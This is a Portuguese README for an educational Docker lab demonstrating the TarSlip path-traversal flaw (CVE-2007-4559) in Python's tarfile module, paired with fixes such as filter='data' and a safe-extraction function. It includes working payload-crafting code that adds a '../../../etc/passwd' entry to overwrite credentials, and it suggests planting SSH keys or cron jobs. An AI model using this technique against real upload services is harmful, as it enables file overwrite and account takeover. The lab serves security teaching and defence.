Laboratório Docker autocontido demonstrando a travessia de diretório CVE-2007-4559 (TarSlip) via o módulo tarfile do Python. Inclui APIs vulneráveis e corrigidas, geração de payload e um script de demonstração interativo para educação em segurança.
Apenas para uso educacional. Este laboratório explora intencionalmente vulnerabilidades do sistema de arquivos dentro de contêineres Docker isolados. Não execute em nenhum sistema com dados sensíveis ou em ambientes de produção.
Um laboratório Docker autocontido que demonstra CVE-2007-4559 — a infame vulnerabilidade "TarSlip" no módulo tarfile do Python — através de uma cadeia de ataque concreta, de ponta a ponta:
extractall() escreve cegamente uma entrada tar nomeada ../../../etc/passwd fora do diretório de extração, sobrescrevendo o arquivo real do sistema./admin protegido.tarfile.extractall() do Python reproduz fielmente todas as entradas de um arquivo tar, incluindo entradas cujos nomes contêm sequências de travessia de diretório . Ele .
../nome da entrada tar : ../../../etc/passwd
diretório de extração : /shared/uploads/a1b2c3d4/
caminho resolvido : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← arquivo do sistema sobrescrito
| Linha do tempo | |
|---|---|
| 2007 | Bug reportado à equipe de segurança do Python |
| 2007 – 2022 | Marcado como "não é um problema de segurança" — tarfile está "funcionando conforme o esperado" |
| 2022 | Pesquisadores da Trellix escaneiam GitHub e encontram mais de 350.000 repositórios chamando extractall() em entrada não confiável |
| 2022 | Divulgação pública. CVE-2007-4559 ressurge. Correria em toda a indústria. |
| 2023 | PEP 706 envia filter='data' no Python 3.12 — a correção é um único argumento |
A demonstração é executada em três movimentos, cada um exigindo uma tecla para avançar.
GET /admin → 401. O endpoint admin existe e está protegido. O atacante não sabe a senha.innocent.tar.gz → os arquivos caem dentro do diretório sandbox. Tudo parece normal.Atacante cria tarslip_passwd.tar.gz
└─ entrada: "../../../etc/passwd"
conteúdo: admin:hacked:1001:... ← senha plantada
│
▼
POST /upload (upload de arquivo multipart)
│
▼
extractall("/shared/uploads/{uuid}/")
resolve "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Welcome, admin! You have full admin access."
flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
Um único HTTP POST. Nenhum shell. Nenhum payload RCE. Apenas um arquivo tar.
O mesmo tarball é enviado para a API corrigida, que passa filter='data' para extractall(). O Python lança tarfile.OutsideDestinationError — a travessia é bloqueada, /etc/passwd permanece intocado e /admin permanece bloqueado.
# Vulnerável — padrão antes do Python 3.14
tar.extractall(extraction_dir)
# Corrigido — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
Um argumento. Quinze anos para ser enviado.
Quatro serviços em uma rede bridge Docker isolada (tarslip-net). Nada alcança a internet.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ porta 8000 │ │ porta 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Serve /shared via │ │
│ │ GET /admin │ │ HTTP — navegue pelas │ │
│ │ GET /health │ │ extrações visualmente │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ volume shared-storage │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (sem porta no host — apenas interno)│
│ │ │ │
│ │ craft_malicious.py — gera tarballs │
│ │ demo.py — conduz a demonstração │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
| Serviço | Imagem | Função | Porta do host |
|---|---|---|---|
vulnerable-api | python:3.11.3-slim | API Flask de upload + /admin protegido por autenticação /etc/passwd | 8000 |
fixed-api | python:3.12-slim | Mesmo código + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | Listagem de diretório dos arquivos extraídos | 8080 |
attacker | python:3.12-slim | Gerador de payload + condutor da demonstração | — |
As APIs vulnerável e corrigida usam código-fonte idêntico. A única diferença é a variável de ambiente USE_SAFE_EXTRACTION=true no contêiner corrigido, que ativa o único argumento filter='data'.
CVE-2007-4559-lab/
├── run_demo.sh ← comece aqui
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # API Flask: /upload + /admin + /health
│ ├── Dockerfile # insere admin:s3cr3t_Adm1nPass no /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # gera innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # driver CLI com quatro modos (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/seu-usuario/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
O script é totalmente interativo. Ele imprime uma narrativa antes de cada etapa e aguarda Enter para avançar. Nenhum conhecimento prévio de Docker é necessário para acompanhar.
| Pausa | Narrativa exibida | Ação ao pressionar Enter |
|---|---|---|
| 1 | Linha do tempo CVE, o que são os três movimentos | Constrói pilha vulnerável |
| 2 | Funções dos contêineres, senha admin inserida | Gera payloads |
| 3 | O que há dentro de cada tarball | Movimento 1 — linha de base |
| 4 | Por que /admin é 401, como é a extração normal | Movimento 2 — exploit |
| 5 | A matemática exata da travessia, o que é sobrescrito | Troca para pilha corrigida |
| 6 | O que filter='data' faz e por que funciona | Movimento 3 — verificação |
| 7 | Principais conclusões + padrão ZipSlip mais amplo | Desmontagem |
Se quiser avançar manualmente:
# Pilha vulnerável
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Pilha corrigida
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Desmontagem
docker compose -f docker-compose.fixed.yml down
Enquanto a pilha vulnerável estiver em execução, abra http://localhost:8080/uploads/ para navegar pelos diretórios de sessão extraídos no seu navegador.
/admin funcionaA API insere uma senha de admin secreta no /etc/passwd no momento da construção da imagem:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin lê este arquivo e verifica o segundo campo (senha) contra as credenciais de Autenticação Básica HTTP. O atacante não conhece s3cr3t_Adm1nPass — mas depois que o TarSlip sobrescreve o arquivo com sua própria versão contendo admin:hacked, ele passa a conhecer.
Este é um modelo simplificado de alvos do mundo real: chaves SSH authorized_keys, arquivos de configuração de aplicativos, cron jobs e qualquer arquivo de credenciais que o processo web possa escrever.
craft_malicious.py usa o próprio módulo tarfile do Python — o mesmo que tem o bug:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name é o caminho de travessia
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# O nome da entrada resolve para /etc/passwd quando extraído em /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
Nenhuma ferramenta especial. Nenhuma exploração binária. A biblioteca padrão é tanto a arma quanto a vítima.
O Python 3.12 introduziu filter= no PEP 706. O filtro 'data':
tarfile.OutsideDestinationError em tentativas de travessia# Antes (vulnerável — ainda o padrão até o Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# Depois (seguro)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Para Python 3.11 e anteriores, valide manualmente:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Caminho inseguro: {member.name}")
tar.extractall(dest)
Análise estática: a regra B202 do bandit sinaliza chamadas inseguras de extractall() no CI.
TarSlip é o nome do Python para uma classe de vulnerabilidade que existe em todas as linguagens com APIs de extração de arquivos:
| Linguagem | API vulnerável | CVE / Aviso |
|---|---|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, outros | ZipSlip (2018) |
Mesma causa raiz em todos os lugares: confiar em caminhos de arquivos não confiáveis. Mesma correção em todos os lugares: canonicalizar e validar antes de escrever.
Foco na diferença de código antes/depois e na regra B202 do bandit. O objetivo é "como evitamos isso em nossa base de código?" — mostre o guia de migração do PEP 706 e como adicionar a verificação ao CI.
Foco na metodologia de divulgação da Trellix — como eles pesquisaram o GitHub em escala, estimaram o impacto em mais de 350.000 repositórios e navegaram na divulgação responsável para uma vulnerabilidade tão difundida.
Estenda craft_malicious.py para plantar um arquivo authorized_keys do SSH ou uma entrada maliciosa no cron em vez de /etc/passwd. Mesma técnica, alvos diferentes — mostra que qualquer caminho gravável é uma superfície de ataque.
MIT — use livremente para educação, pesquisa de segurança e demonstrações em conferências. Não use as técnicas de geração de payload contra sistemas que não sejam seus.